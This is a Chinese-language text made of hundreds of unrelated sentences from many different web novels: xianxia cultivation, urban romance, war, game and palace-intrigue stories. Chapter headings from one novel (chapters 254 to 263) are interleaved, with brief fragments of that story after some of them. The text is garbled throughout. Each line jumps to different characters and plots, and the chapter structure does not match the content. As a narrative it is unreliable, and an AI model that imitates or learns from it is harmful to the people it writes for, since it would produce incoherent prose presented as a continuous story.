陈露露一脸汗,刘海都贴在额头上,右边头发上接了一撮艳蓝色的头发,穿廉价网红款风衣单手捂着胸口,左脚上踩着一只毛拖鞋,右脚光脚,露出了粉色的指甲油。
“拿去吧,吃完能让你多活个四五年。”四五年或许对普通人来说已经很多了,但是对于魂师还是这种封号斗罗来说不值一提。
管理局一旦发出通报,一些大型团队会耍心眼子安插人员过来以确定位置过来横插一脚,同时也会有不厚道的探索者被选中后高价卖出消息。
何况,洞出现的地方、是裴玄珪的那间牢室,许钦寂也鞭长莫及。
只听“嗡”的一声,阵盘定格在三人头顶,随之有一道黑白双色的无形光幕悄无声息地垂落。
溶洞与连接大湖的洞穴几近呈四十五度对角,内里斜面向下,往地下延伸。
王座之间的对方,王座以下听不见,但同为王座的张王座却是面色阴沉到极限。
登仙别墅区仅面对五境以上修行者开放,整个别墅区本身是一个巨型聚灵阵,在东玄市内外相当出名。
名场面来了,三个帅气的男生在阳光下用白色毛巾扑?着头发,发梢飞落的水滴迸发着青春的乐观与朝气。在他们的指点和对笑中,远远看着的与会者们似乎也看到了这个基地未来的希望。
墨画学得慢了些,是因为阵纹有些冷门,墨画习惯了按照基础的阵纹样式来画,二者一有出入,就会容易出错。
须臾船靠海边,这里没有什么码头,沿海的渔民都是打了个桩子把船系上,众目睽睽之下青风也不好意思把船收起来,一时尴尬。
挨了林晓晓几下极是疼痛的捶打,瞬间,他把她压在车头那里了。
冷焰欢喜的让短剑不断的分合,形成各种组合,防守兼顾而且灵性十足。
天涯,一半的皇者率领手下已经守在了这里,日夜巡逻、监视。但很显然是不够的。面对觊觎堕界已久的外族,他们诡异的力量更是让人无处下手。
阿姨立即的闭嘴了,神色更加的紧张了起来。她走到一边,悄悄的拿出手机,而另一边,在明明的热情带领下,陈丽走到了明筱筱的卧室。
后来甚至是牵涉到了冕城,冕城最后被推平,而重城更是失去了二弟子包绯德。
其实,诸派本来的打算,今天要借大合仙君直接击杀黄正,夺取他的仙器。
高彰轩嘴角浮现出一抹的冷笑,肩膀上的忠诚符咒闪亮着,但是他毫不忌讳,因为手中的符咒印记将他笼罩了起来,这么一点点背叛的心思是传不到叶兰兰那里的。
银甲尸见他真是仙云门的弟子,不由沉默起来。看着被尸毒已经折磨的模糊不清的洛天晴,好似想到什么,不由叹了口气。
这个决定,对司徒家的人来说,自然是再好不过了,同样的,心中对皇甫一家感激不已,就是这样明理的家,温暖的他们的儿子,如今,更是百般谦让。
第一卷 第254章 能工巧匠
几天前她生了病,没钱请大夫,抓药,只得去借,这才半个月不到,就上门催债了?
你还别说,这种还真有点效果,短短一天之后,周围几个国家之内就传回消息。其实这次是他们联合起来搞的侵略活动,目的就是要重燃战火。而他们这一次所拥有的倚仗,貌似是一个叫什么邪神的玩意儿。
苏宇缓缓抬起手望着手中的晶核,暴君的笑容在他的脑海当中挥之不去。
此刻秦长歌走过城楼之,上,视察军营之中的情况,而他每过一处那里的士兵便会齐刷刷的站起来向他致敬。
虽然说于公于私,她都想说一些好听的话来起到最佳的效果,可是最终说出口的依旧是实打实的真心话。
“还有,你个废物,我对你这么好,你却只想着背叛我,正好,我早就想把你给了结了。
秦长歌尾随着一号进了房间,更是听到了一号与零号所有的对话。
“敢问姑娘,如何算得上贵客?”周必安自然是领命,但,却不忍不住问了一句。
强行控制心肺活动频率,在保证正常活动不受限制的同时,苏修也是成功地,令体内耗氧需求、乃至新陈代谢,都降到了一个最低额度。
那些子弹打到秦长歌身上的时候,就像是受到了某种力量的操控一样,直接就飞了回去。而且这些子弹就像长了眼睛一样,每一颗都飞到了一个士兵的脑袋上面,没有一个例外的。
“没关系,既然这种治疗手段有效,那陈修飏你继续。”陈诗炵说道。
我一下子想起来之前就听说过类似的事情,在古玩市场有一种现象很恶心人。
面对我的这一番话,赵健也没有任何的否认,赵健毫不犹豫的就点头。
陆芝芝仿佛察觉不到苏云恒的情绪变化,她细细的擦洗,轻轻揉按,抱着苏云恒她整颗心都是满满的。
我和王雪在一起生活了七年,尤其是最近发生这么多事情,早就让我看透了王雪的为人,王雪到底想要干什么,我比任何人都清楚。
如今确定了方向之后,她便感觉有些精神了,至少,有些目标了,也不至于太无聊了。
加雷斯手中的血色旗枪,是八大骑士之证融合,异化的超凡武器,别无其他异能,只有吸血和坚固,他掌中旗枪横扫,一股强横的血屠斗气提前引爆了这六枚血能子弹。
如此一来,便意味着,所有的权力都会汇聚在刘娥和丁谓的手中,赵祯这个皇帝,根本没有参与进去的余地。
先前为嘉明长公主亲自为长杳及笄礼当赞者这件事狠狠破防了的谢朝歌这会儿心思又活络起来,眼珠儿一转,抿着淡笑。
木丝和娜丝反应过来,两人急忙取出弓箭开始反击,那三人中的剑盾战士便举着盾牌挡下木丝和娜丝两人的箭矢。
她正想着,那边更衣室的门已打开了,高跟鞋根踩在地上清脆作响,服务员和陆少曦同时循声看去,顿时都看呆了。
“等等,我有个疑问,您是怎么知道我的?”江楠不得不打断了对方的兴奋,直接抛出了自己的疑问。
第一卷 第255章 有人来要债
不得已,莫剑只能转身和这剑客玩家对攻,看到对方拔剑砍来,莫剑忍着被减速的迟缓,向后斜退了一步,避开了这次攻击,然后甩手一剑削了过去,逼得那玩家也只能后退闪开。
李耀惨叫一声,如断了线的鹞子,狂喷一口鲜血,被他踢到了角落里。
一个蒙面刺客,身材瘦弱的手持匕首,从早已破败不堪,没有了窗子的破屋子里跃出,然后就是向叶若发动了袭击。
清理好了客厅的艾尔埃尔夫并没有停下自己的工作,而是继续提上了两个大号的旅行箱走进了卧室当中,不过十分钟的时间卧室里面的东西也都全部被艾尔埃尔夫给塞进了箱子当中,衣服,床单被子什么的一样不留。
为什么败得这么惨,就是没有选好主帅。但宋朝没有好的主将吗?
两道光芒在战场中再次出现,一道是战舰爆开所产生的巨大火球,另一个则是微型导弹一连串的攻击导致的。
袁谭却咬着牙满心不甘,先是刘焉的出现,再是袁谭反水,现在又有最大的幕后黑手吕布亲自出手,他其实已经接受了自己注定失败的结局,但曾经那般接近触碰到成功,就这么轻易放弃掉,又叫他如何能够甘心?
传承塔的重要性如何,嬴乘风已经知道了,而他更知道的是,整个宗门内的几位大佬都对他寄予厚望。
当然这时候的李儒已经意识到了这一点,虽然不知道原因是什么,但他偏向于相信自己等人是赶到吕布一行前头来了,如果他们的目标方向确定是开阳门没错的话。
虽说他如今也算得上是一位能够与骑士王殿下们比肩的锻造大师了。但是,他的真正修为却仅有紫金境,与这两位高高在上的大人物相处之时,心情无论如何都难以保持绝对的平静。
“一笑,这里面一定有问题!我怀疑你的背后有真正的大人物在推动!”云千妙说出了自己的看法,而秋水瑶赞同的点了点头。
“东哥,你说话好伤人,我不是你的挚友吗?哭哭。”魏渊阴阳怪气道。
“罢了,我走了,你保重,希望以后还能再见!”万化魔君终究腾空而起,残影掠过,带起一阵香风。
这一关要熟练运用麦当的几个技能然后用大元宵将赛璐璐砸下来才能算通关。
李云龙心里叫了一声,稍微熟悉了一下三式战斗机的机舱,二话不说,拉起操纵杆,轻轻地把飞机滑出了停机坪。
“疾!”余欢忽然一声厉叱,原本与五大属性圣物缠斗的炼狱塔蓦然发威,一举震开五大属性圣物,继而拖起一片残影,倒射向余欢所在。
叫花鸡简单呀,就是不知道以后还能不能用叫花鸡再换次五色俱全的盛宴让眼睛吃个饱。
要知道黑雾魔君可是无始圣魔麾下仅有的三大伪圣之一!曾为无始圣魔立下无数汗马功劳!如今,因为要替君一笑提升修为,无始圣魔一念之间,就将黑雾魔君给放弃了,甚至是亲自动手!这,何其让人心寒?何其难以接受?
“不过有了这道手令我们就可以师出有名,你去找八路联系一下,告诉他们,我们电台保持静默,但不代表我们的鼻子失灵,这一仗,不管是谁打的,我楚某人一定要参加。”楚云飞喝道。
然后朝着骷髅人走过去,将地上被冬梅撞断的枯骨捡起来,对着枯骨扫视了一眼。
极父笼罩下的大陆,黑压压一片,来到这里的人,灵力都会锐减。要命的是,这里还有很多黑暗里面的怪兽,很难对付,两人无法护住身边这些无机人的安全。
“有事吗?”打量了半天,确认自己不认识对方,叶天才冷不丁的冒出这么一句,叶天没空跟对方浪费时间,因此,说这话时,他早已挪动了脚步。
得到这样的承诺,阿诗龙就放开手来干,他发誓,一定在一个星期之内查出真相。
下午三点钟,阿诗龙终于醒过来了,可是他一点儿精神也没有,一副有气无力的样子;看到这个样子,他们三个就没有说明彪的事了,只有等阿诗龙身体再恢复一点再告诉他。
这些黑雾没有实体,不知道到底是什么东西,灵力根本拿它们没办法。
门口处都如此防备,想必地牢里防备得更加森严,想要进去,可怕比登天还难。
“”兮瑶见他不动手,也就懒得和他打斗,转身便要离开,蓝葉马上上前拉他。
孟良凡笑而不答。对于他来说,自从觉察到这里的不对劲以后,他就用自己的星魔眼搜寻到了那座失踪的山峰。
第一卷 第256章 假消息成真消息
也不知道这三人是什么人。要是骗她儿去,从此再也见不到,她可不答应。
“这位是永安王,这位是永安王妃。本将军钟离洛。”钟离洛主动介绍。
“什么?”三人都惊得合不拢嘴。
一个迈入华夏国传说之中的境界的武者,可以让山口组又多了些倚仗。
王伯看了看夏尘,目光落在丁三的身上,两人都从对方的身上感受到了一丝江湖中人的气息。
还有一种痛,立刻通过身体,传到了脑海里,那种痛,很鲜明,她知道那是身体的什么部位,脑海里,不由有浮现了某些片断。
听到花贞这么一提,赛尔倒也的一想,不过,这样大规模的数量,据赛尔对赤金蝉王的了解,好像是的有些不符合实际。
唐僧满意的看着自己的杰作,现在这座神殿,就算十级强者来到这里,都得跪,而地球目前还没十级的强者。
我觉得露兹也没什么资格说别人恶心,毕竟那家伙可是为了保存气味,动不动就把东西放入嘴里含着。真希望她有自己是怪人的自觉。
之后,再次对李明秋做了一次详细检查,而检查的对象自然是刚刚金医生提到的那个。
这种舞蹈最能表现年轻人的张力,宣扬个性,其表现手段也是非常的繁多,许多高难度的动作也可以挑战人的潜力,形成强烈的视觉效果,表现出来一种年轻人的肆无忌惮活力和张扬。
不光是金泰妍,Jessica喜欢李明秋的原因也是因为安全感,她体会到的甚至比金泰妍还要强烈,所以才会那么执着李明秋。
我看着那名为白面红袍的东西,他给我的感觉非常的奇妙,一时无法形容那种感觉的具体……不过,硬是以接近的词汇比喻,就是那东西是个没有生命的「活物」。
而那些圣母婊则被网友们骂懵逼了,个个唯唯诺诺,甚至还删除了自己之前幼稚无知的评论。
“哎呀,飞机里可暖和了,开了自动驾驶以后,我们全都睡着了,然后,我是被烟呛醒的,眼睛一睁,飞机里不知怎的就起火了。他们也没跟我说一声,就嗖嗖的自己全跳伞跑了。
此时,酱油瓶子,毛神的神格宝石,血海宝石,还有那口锅都静静的放置在甲板上。
事实上,袋子里面不是翻出来的别人丢掉的食物,也不是什么值钱的能够卖钱的东西,只是些垃圾。
只是有一位老者却不同于他,安安静静的待在石头上休息,目光闪烁。
——这是枯的影行之术,作为一种隐匿秘术,它很容易被发现,因为这种影子的变化在太阳底下实在是显得太清晰了。
一边朝着人声鼎沸的商队人士的集结地走去,苏泽映一边在脑海中转着各种念头,其中大部分都与那个叫西宫和己的男人相关。
韩石内心暗道,而后撇了一眼电脑,发现预计上传时间还剩下20秒。
村中酒馆,又是一个不眠之夜,海因兹村长终于等到圣灵的归来。村长再度以祈祷的姿态将戒指上的宝石按在额头上接收圣灵的信息。
但也就在这人潮里,却有着两道带着斗笠,浑身黑衣,让人看不清楚其容貌身形的身影在静默地行走着。
第一卷 第257章 帝王之资
“此事我还得与皇伯父商量一下。”赵炳煜不敢擅自下决定。
这时门外传来说话声。
“杜管家,可是有要事?”
“凌护卫,王爷可在书房?”
“在的。不过王爷与王妃在商谈要事,不让打扰。”
“让他进来。”赵炳煜提高声音吩咐。
杜管家进来。
当马车停下,家里人请他下车时,陆缜也没能想出个妥善之策来,最终只得在心里道一句:“等过两日再与他们商议一下,再作定夺吧。”了事。
这里所以叫作郭家庄,不是因为这里的人都姓郭,事实上,这里姓郭的人家不过数户而已。真正的原因,只在这里郭家的势力最大,占据了方圆数十里绝大多数的农田,使得这庄子里的大多数人都成了他家的佃户。
“不成!”不料他这话才刚一出口,楚云容便已急急而大声地叫了起来。
倒不是因为这样他才没唱出名堂,而是因为他的唱功实在一般,脱颖而出的可能性为零。
对此,他一般都是睁一只眼闭一只眼,每次都是象征性的惩罚一下她。
“那当然就是去起火处详加勘察,以此来确定孰是孰非了。”邱长元当即给出了自己的想法。
拍摄组今天也上了山,他们要拍摄一场在山上配雪景的戏,其实伊斯特艾琪可以用替身,可她这些年从来没用过,她爱自己的职业,自然也足够专业。
“你说的确定是真的?”身穿白衣的鬼族男子塞茵原以为朗乌姆带他们来见的人是什么十分厉害的角色,这不就是上次遇到的那个杀了怪物的人吗?
“既然如此,那大人为何不尽早把那唐千川的嘴给撬开来?拖下去,一旦让他们把人救出,就什么都做不了了。”林烈有些担心和不解地问了一句。
“启禀尊爷!”此刻,一座豪华府邸之之上,巨大的中枢府正堂之外一位西域僧人飞奔而入。
毕竟在这片大陆上,魂师只是少数人,魂师的数量永远不可能多得过普通人。
“那我想吃卡玛家的点心,他家的果派超级好吃!”拉克丝马上说道。
新人恶魔使者报名参加新手试炼,甚至都要跟三大组织报名申报。
林凡之所以想和解,是因为独孤博现在并不是他的敌人,费这么大力气杀这个老人没什么卵用,还不如把他招揽过来。
王旭的脑海里立刻出现了黑,伊莎贝拉和杨刚,然后他好像明白了什么。
她完全隐瞒了老Hett即将脑瘫的真实情况,若有所思地看着王旭。
今夜只是试水网销玩具能不能让系统获得喜爱度和回忆值,还得现有反馈了再进行后续的大批量售卖。
看到叶凡和顾嫣然的时候,乌越的表情好像再说,怎么又是你们?
毕竟若是末日劫光来临,空圣界也会荡然无存,他只有背起这份责任,别无选择。
李建成更不可能透露任何消息,只是用一种开玩笑似地口吻和李言庆商量,能否解决尧君素。
前方烟尘冲霄,浓郁的神力波动弥漫在每一寸空间,有一块块的碎石从墙面之上坠落。
只是一分钟,卡甲基就被福坦妮打成猪头,然后狼狈的认输,而福坦妮则是云淡风轻的笑着,飞离的赛场。
不过有大事发生的时候,两人会放弃所有成见,坐在一起商讨。房彦谦的身旁,摆放着一卷地图。他身下垫得很高,半依着床褥,眉头紧锁一起,陷入沉思。
第一卷 第258章 叔侄推让皇位
赵炳煜和赵凌哲静静等着,也没出声,等着他从飘远的思绪中回神。
陈宁接过图纸后,一款熟悉的枪械制图出现在眼前,“乖乖,这不是AK47吗?中国真是不乏创造者呀”陈宁暗叹道。
哀伤化作利刃,杀死了人的心,人会暴怒、会疯狂、会唤醒囚笼里的凶兽,但最终,也会随着理智的回归,而归于平静。
“那怎么办,它正在向我军靠近,它想干什么?我们不能让这么危险的敌舰在中央旗舰的活动区域之内。”苏兰特元帅语无伦次地说。
响尾双头蛇!上古智灵妖兽!这响尾双头蛇有两个头颅,其蛇鳞底部,还有三条妖稚,一旦被锁定其中,那就只有死路一条!
这样想着,他就向山下走去。走到半山腰,前面突然出现了一个白发苍苍的老太太,她正坐在一口水井旁边,双手握着个铁杵,不紧不慢地磨着。
“你有证据吗?没有证据我可以去告你诽谤!”耿志强白了一眼师意。
“事情是这样的……。”吴夫人和铁夫人各自给自家的姑娘讲诉董占云这次‘艳遇’的始末。
男子牙齿一咬,“喝”的一声,一刀朝着袭来的辰逸一刀斩下,这一刀没有了先前的凌力,心神慌‘乱’的他根本无法发挥巅峰的实力,看着辰逸的脸,他脸‘色’狰狞。
这样看似简单的对弈,史炎却很狼狈,一会吐血,一会大喊冲杀。四人虽在一旁仅仅的盯着史炎,却不敢上前营救。
在旁人看来,一定认为王轩龙疯了,就算他再怎么牛逼,想要用徒手抓住秒速几百米的子弹,简直是天方夜谭。就算是刘晓玲也为王轩龙捏了一把冷汗。不过,就在这时,王轩龙的手动了。
不少子民全都聚集在了护龙山庄门口,十几个侍卫忙的是头大无比。
常年在星空行走的人,谁不知道第二灵星星主之子林旭是什么人?
将所有力量都收敛于刀中,威势看起来减弱,实际上威力变得更恐怖,就相当于面变为了点,杀伤力继续增加。
与此同时,车上三人都被狠狠地颠了一下,待回过神再睁眼,又是一愣。
这一尊超越星神的存在,莫非是专门为了击杀那个渡劫之人而来?
周遭火焰瞬间不断翻滚,狂暴的杀气笼罩之下,更是令人感到了毛骨悚然。
“把手拿开,否则,我告你骚扰!”吴良震开对方,语气冰冷的说道。
几人的误解就是张幕想要刻意达成的,他故意挑拨,就是想让大夫人和九长老早点动手,这样就不会怀疑到他身上,非常适合浑水摸鱼。
“你是空条承太郎?那个全球知名的海洋学家?据说你还有超能力!”艾达·王倒是得到了这位一米九八的男人的最新资料,一脸的好奇。
“是吗?好开心,从来没有人这样夸过我呢?”嘴里说得很开心,表情也笑得很开心,但是白雪眯起来的眼睛里面根本看不到一点开心的情绪。
陆晨曦莞尔,知道宋雅民和杜莞十分甜蜜,总是人前人后毫无顾忌地秀恩爱,简直到了令人发指的地步。
第一卷 第259章 将星与福星
赵炳煜熟门熟路来到圆通大师的禅房。
“凝玉拜见圆通大师。”霍凝玉规规矩矩行了一礼。
虽然她现在是一品亲王妃,但眼前的大师是夫君的师傅。
那是一定要尊之敬之的。
刘诗雅那晚虽然醉了,但脑子还是清醒的,说了什么话,她也知道。那些话,的确是平时都对苏阳说不出口的。但是,喝多了之后,脑子晕晕乎乎的,居然不由自主的就说出口了。
乱天趴在地上狠狠的喘着粗气,根本没有理会林帆的话,此刻的乱天早就累得要死,要知道,三十级的精英怪物,所甩动出来的惯性有多么巨大,能够牢牢地抓住那白马的脑袋,乱天可是连吃奶的力气都用上了。
望了望天生,何晓雯娇躯一颤,珠泪夺眶而出,竟然低声哭泣了起来。
裴迪呆呆的接过饮料,眼镜却没有离开莫莫的面庞。莫莫端着托盘抬起头也看向他,双目对视,又齐齐撇开。
空中的林清答应一声,收起万载玄冰,正要起身飞回积翠崖,却觉全身一寒,娇躯已不受控制的向下方直坠。
雷战收回盾牌,这东西在这场战斗中根本用不上,直接放回了空间。龙神之怒再次的启动,巨人又一次出现,追着楚天武就是一阵狂踩。
等到蓝光慢慢的消失之后,雷战也落在了地面上,睁开眼睛一看,他居然来到了一个陌生的世界。这里就像是一个很古老的朝代,远处的城市更是如此,居然还能看到很多人。
两人迅速回到三楼入口处,此刻夜已低沉,三楼灯光微弱,好在两人目力超人,并不会受环境影响。
“轰轰轰”一阵巨响,紫色掌影与红色光墙先后激烈相撞,费思丽如遭重锤,娇躯被震得后退数公尺,手中红色光剑也变得黯淡,却始终未被掌影突破。
“参见皇后,外面所有的乱党已经全部清除完毕,请皇后吩咐!”为首之人恭敬地说道。
鉴茶会马上就要开始了,这次来参加鉴茶会的有许多茶商,他们也都带来了自己的茶叶。
得胜归来的大美牛和野猪人尼莫得到了绿魔们的欢呼。绿魔们也没想到,原来外表上看上去强大无比的精灵,居然弱成这样。
“没事,听话。”楼云华还在她脑袋上的手轻拍了拍,又将她往外面推了推。
可是以他有限的智慧,他想的头都疼了,也没想出什么好办法来。
“狗腿子,再给你个机会,联系杨临,让他立刻滚过来!”此时柳阳阴冷地盯着他。
“走!”心里有了想法的何尘拉着赛丽亚就跑。这里地形比较开阔,一旦被包围的话怎么都是一个死字。前面那条狭窄的山路才是何尘选择的决战地点。
她也是借了巧劲,撞到周怜儿以后又撞到了丫鬟明儿,可谓是一箭双雕。
“如果是你,杀了周师后,会让他连尸身都失踪么?”杨临又问道。
张兴应该是他们中战斗力最强的一个了,结果在那壮汉手里一个照面就吃了亏,如果一个弄不好可能会出人命。
在冲锋的同时,那名黑甲骑士手中的弓早已经换成了长矛,面对拓拔穆的攻击不闪不避,手中长矛就砸向了对方。
第一卷 第260章 百步射石
她已经接受了大师的说法。
她能重生,说明她确实是有福之人。
因为她的重生改变了多少人的命运,她已经数不过来。
“老衲暂时不知那人是谁,或许你们比老衲更清楚。”圆通大师实话道。
目前来看这大眼珠子并没有带来什么实质性变化,具体怎么样还得看后续变化。
跟着黄保锋走一趟,探索周围的情况,更好熟悉这里的环境,还能顺便打猎,郑鹏当场就有了兴致。
如果不会投篮的人用这招,纯粹是给自己找不自在,但是投篮很强的人用,会很难防守。
如此一来,倒真的存在着大骊和大成在最后时刻瓜分摇摇欲坠的大徵。
何勇听完,这才放心下来,现在战斗中,没必要收起来。等打完之后再收就好了。
“呼……”,墨右手缓缓放在额间,单手掩面,长叹一口气。待到他重新放下手的时候,脸上的神色已然重新恢复了平静和自然。
左大爷把箱子拖到周九脚边,周九拍拍翅膀,飞起来落到了箱子的边上,然后往里头看。
种植的方式颇为粗犷,有些地方稀,有些地方密,好似种子是随意播散的。
面对这样的眼神,李云的内心毫无波动,甚至连笑都不想笑,只是说道。
但就算如此,阿牧也不会因为范夫子的缘故,真的看着李汝鱼死在岳单的剑下。
唐沁朝她微微点头,便没有站过去,而是选了一个相对不会引人注目的位置站好。
“吼!”站在虚空的森林族强者的化身瞬间便被点燃,体内磅礴的生命之气像是汽油一般让火焰燃烧的更加旺盛。
那么现在的这种状况又是怎么一回事!谷泽达也马上下令部队停止前进,步兵大队的长官都是协同坦克大队作战的,所以他们也是随同坦克大队一并的停下来了。
而当破日式一出,对方鹤拳高手顿时脸色狂变,一声嘹亮的鹤鸣从他口中发出。身在空中的他,竟然再次腾身一跃,那本来下降的身体竟然略微滞空,同时顺着惯性,飘向了方冬身后的方向。
凤浅歌拧着眉望向那唯恐天下不乱的妖孽,这世上怎么还会有这样的人活在世上?
蒋状当下也不含糊,抄起歪把子机枪,便是往近身的日军士兵扫射过去,子弹在如此近距离,打在人的身上就像是石头砸开大西瓜一般,场面异常的惨烈。
张三一路惨叫,但那些乡亲们各个充耳不闻,众人很是合作的抬着张三,就跟着唐沁他们走。
零一老头将握剑的右手张开,黑色的长剑如同阳光下的晨露一般,迅速地化作一团烟雾消散。
“我只是让你喝一口看看,别贪多。因为我也没有喝过,不知道喝完会不会有副作用。”唐沁就是这样不负责任的主人。
凌天不是个无事找麻烦的人,他甩掉其它人带我来自有其用意,我也不担心他把我带到什么古怪的地方,跟着走就是了。好在我在精灵森林特训过一段时间,又继承了精灵的血统,这里路虽然难走也总是还没到走不动的地步。
银月城的领主们开始动摇了。战争的确会消耗他们的物资和财产,但是如若燃烧军团的恶魔大军入侵奎尔萨拉斯,那他们拥有的一切都将化为乌有。
第一卷 第261章 又有良才
“我也不知道。自我重生以来,记性特别好,学东西也很快。
你也知道,我父母很宠我,对我的要求与别家不同。
我父母从没想过要用我去攀个高枝,只要我过得好就行。
柳卿他们已经进入了混沌秘境,杨妄有些不放心,但是现在听濮阳奕的意思,好像自己也能够进去?
至于神诀,天玄并没有太过贪得无厌,即便是他现在遇到,以他的修为短时间内也无法参悟。
涓涓细流宛若三千银丝,层层瀑花飞溅而出,瀑花飘荡在空中,形成层层雾气,雾气围绕瀑布翻滚,如巨龙盘踞,如鸾凤飞舞。
陈别雪怎么会和外门弟子打斗起来。而且除了师尊,几位亲传的弟子除了徐仙,竟然都在。
龙兵的话让郭飞‘波’很感动,能够遇到这样一位上司加兄弟,是他郭飞‘波’上辈子修来的福分。
其实他不知道的是,此时此刻的清风战队就像是一个溺水多时的人,只要有一根稻草的可以拉住他们就等同于是看见了希望。
她匕首亮出来的那一刻,杨妄已经完全被压制住,甚至比之前被他压制的青阳雪的状况还要惨,对于长兵器,他终究不是特别的熟络,此时被青阳雪欺身上前,他连长矛都收不回来,所能做的,也只有更加狼狈的闪避。
又到了宝音乌拉盖附近,往那远远的一看,那个蒙古包没了,可还亮着灯,灯下几块白布盖的明显就是尸体,一看就是鬼子长官的。
万局长直接称呼龙兵为首长,那是因为龙兵的识别资料上,标注着国家特级机密字样。作为一个公安局长,他也只能做认证,而无权查看龙兵的具体身份。
或许,鬼逸只是长了一张仙人的脸,内里,是一只狐妖的化身也说不定。
可是也没有人跟他解释过记忆体是什么,除了偶尔的嘲讽,本我都好久没有再出现了。
愈发喧闹的嘶吼和脚步声在迸发了一阵过后,迅速地消散了,仿佛从未出现。听起来像是从城市的近端奔向了远端,二人不明白究竟发生了什么。
李牧阳想到这里突然觉着有些不对劲儿,自己可是辅助职业,什么时候开始想要战斗了?他知道自己的心智肯定首先到了什么影响,赶紧屏气凝神,深深地做了一个深呼吸,眼中的神采再次平静下来。
“这不叫污,这叫把握机会。要不你把他介绍给我,我把我第一次献出去吧!”潇潇一脸陶醉道。
大家答应一声,结果没有走出多远草丛中突然窜出一只花豹,猛地扑向了李牧阳。
张无忌用力点点头,叫道:“蛛儿等我,我陪你去找张无忌!”追了出去。
说好的迎着炮火前进呢?这怎么还没等炮火出现,就被人用一把机枪给打成龟孙子了?
站在身后的颜槿愣住了,这还是她第一次听到罗昭远用这种口气说话。
猎手警惕地望着洞开的门匣,像是在狮子在防范一头凶猛的鬣狗,静静地观察着。
“海底隐藏着数条灵脉,难怪会选择这里建地宫。”他的双瞳亮起血光,能看清海底的轮廓。
叶风举起柱子的一端,对准着被火焰包裹的通向第五层的楼梯,狠狠的撞去。
第一卷 第262章 传位
“王妃放心,小的二弟有自己的工具。其实我家铺子生意一般,并不需要两个人。
可是这样一来兵工厂坏的零件就少了,他们也不用继续去外购新的零件。
什么叫美瑞的气势,赵国华觉得感恩投资不专业,那就是不专业。
“你们会见到我对自己人的态度的。”王诺伸出了手,还有半句话没说出来,那就是……说不定你黎锐波到时候就要跪求着加入了。
月棠手脚麻利地拧了帕子给我,我坐在床沿上给沈毅擦去额头的汗水,心急如焚,却无计可施,只好紧紧握着他的手,心里默默祈祷着,沈毅,你千万不要有事儿。
昨天他就已经收到了消息,腾龙国的海军有大动作,准备收复香江和妈港。
这些虫子就像是纳米虫一般从黑苗大祭司的身体上蔓延到血色荆棘上。
“岳父,我看还是让岳母去医院吧,开车到德国医院细细瞧一瞧,腿伤留下后遗症是麻烦事。”沈毅对我爹说。
“说实话,手感相当不错。”灰鹰低头看着手中的步枪,眼中流露出一丝回忆。
听着秦跃的这番分析,此时的指挥部是也是陷入了一片沉寂之中。
“月棠,你看到什么了吗?”我望着浓黑如绸的黑色,尽力去寻找丫头们说的那一点光亮。
他也就是说说,但当凡奥真的端起碗拿起汤勺给他喂饭时,罗天的脸都红了。
暗影之森的生源地不只是在西海岸,南海岸、北海岸、东海岸以及中域,都是生源选拔的地方。不过东海岸和中域的生源选拔时间是和其余三个地方错开的,他们要提前半年。
他又不能直接跳级申请超能基因合剂,联邦也没有开过这种先河,除非实力达到,大本营是不会批准更高级别的合剂给他的,任何人都不行。
田不二的双拳与那剑光狠狠的对轰在了一起,雨幕炸开,苍穹碎裂,大地震荡。
打开锦盒,意料之中的金银首饰,翡翠玛瑙,居然还有房契、票章数张,最下面压着一封信。信中尽是对施钰熙的想念和宛缨的愧疚之情。看到这,即使毫无血缘再淡定的宛缨也忍不住伤感起来。
那一滴体血被向灵月注入瓶中,随后其口中念念有词,古老民族的神语,向着天际传去。
“外形搞定了,还有什么要补充的?”洛克仔细端详着自己的作品,真是越看越喜欢。
呈现在赵天明眼前的,是一个宽度比较大的绿色镯子,极品的材料,赋予了它晶莹透亮的耀眼绿色,饱满圆润、绿意欲滴,让人第一眼看见它,就不由自主的喜欢上。
陆雅婷将赵天明送下楼,陆家的人已经开始热议起来,围绕赵天明讨论。无论是陆雅婷的爸妈,还是他大哥、大嫂,都认为这是一个良配。
当母亲的身影离自己越来越远,罗天还是忍不住落泪,辟宁侧抱住他,任由罗天抽噎。相见时会有高兴的泪水,离别时却只剩心酸。
来到了任务殿叶星辰,还不知道赤火蛇正想着用什么理由揍自己一顿。
第一卷 第263章 新型箭矢
接着又有几位大臣出列,想要乾德帝收回旨意。
这么重要的事居然都没在朝堂上商议一下就做了决定。
这可是天大的大事,可不是皇上一个人决定就行的大事。
乾德帝面无表情,看着一个个老臣痛心疾首的样子。
“朕心意已决。众爱卿不必多说。如果自觉不能再为朝政分忧者,可告老还乡。”
天目湖温泉浴场很大,薇欧公司入住的地方,却是靠近山腰南部的二号浴场。
可以说当时的远东舰队气概豪迈,在面对比自身实力强大的奥斯曼海军舰队下,依然摆出了远东军团的精神。
这不吃还好,一吃更饿,立刻觉得浑身无力,她可是一天没吃饭,眼下也顾不得什么形象不形象的,其实她向来也没什么形象可言。一阵排山倒海坐到桌旁大吃起来。
好吧,龙吟显然是不会想到这个,甚至他还打算把拳头打在另一棵树。
此刻万般反应都已经迟了,在那电光石火的匆忙瞬间,萧石猛一咬牙,艰难地一个侧身,那本来袭向萧让咽喉的妖异手掌调转了一个方向,迎向了萧让的火焰手掌。
就在邱少泽话音刚落异变突生,黑暗的天空中,竟然飘起了百合雨。
逐月心中一阵错愕,是她,是思月。为什么见到这样一双眸子,他的心会这样痛?
听到这话,李宁宇心中一惊,但只是摆了摆手,随意说道:“他,即是一个朋友,也是一个敌人,但他确实在我们的生命中,出现过!”。
云行天曾不止一次问过他的师父,他的这个师弟到底是从哪里捡来的。
虽然林平是他天阶学院的弟子,但要知道,昊辰,可是得到了天龙子的亲传。
苏长风伸到半空的手也不知该落还是不该落,他也看着眼前的无名,一样的气息和容貌,但是全然不同的气质和眼神。
放在以往,这样的事情,根本都用不着他们这种等级的特工来解决,只需要在情报系统里面查找情报,然后直接派发任务就好了。
等李长胜忙完,唐颂缘让他组织人手配合学院把学生们都散去。稍晚,唐颂缘又叮嘱教师们让学院的夜课不要受影响。
什么维生素片、钙片、胶原蛋白粉、月见草胶囊、蜂胶胶囊,每天当药似的监督着她吃。还有燕窝、鹿茸等炖品也不断地买回来,让她假期在家里每天都吃点。
严格来说应该说韩峻熙是没有习惯,他用完的东西基本都是随意扔,等到要用的时候再满屋子找的。
他们回去后表示:除了受了惊吓外…最多,就是被“冰”珠子打蒙了而已…相比之下,他们射出去的弓箭,根本伤不到人家商队汉子。
这里的装修,绝对是最顶级的装修,采用的是复古装修,用的都是红木。
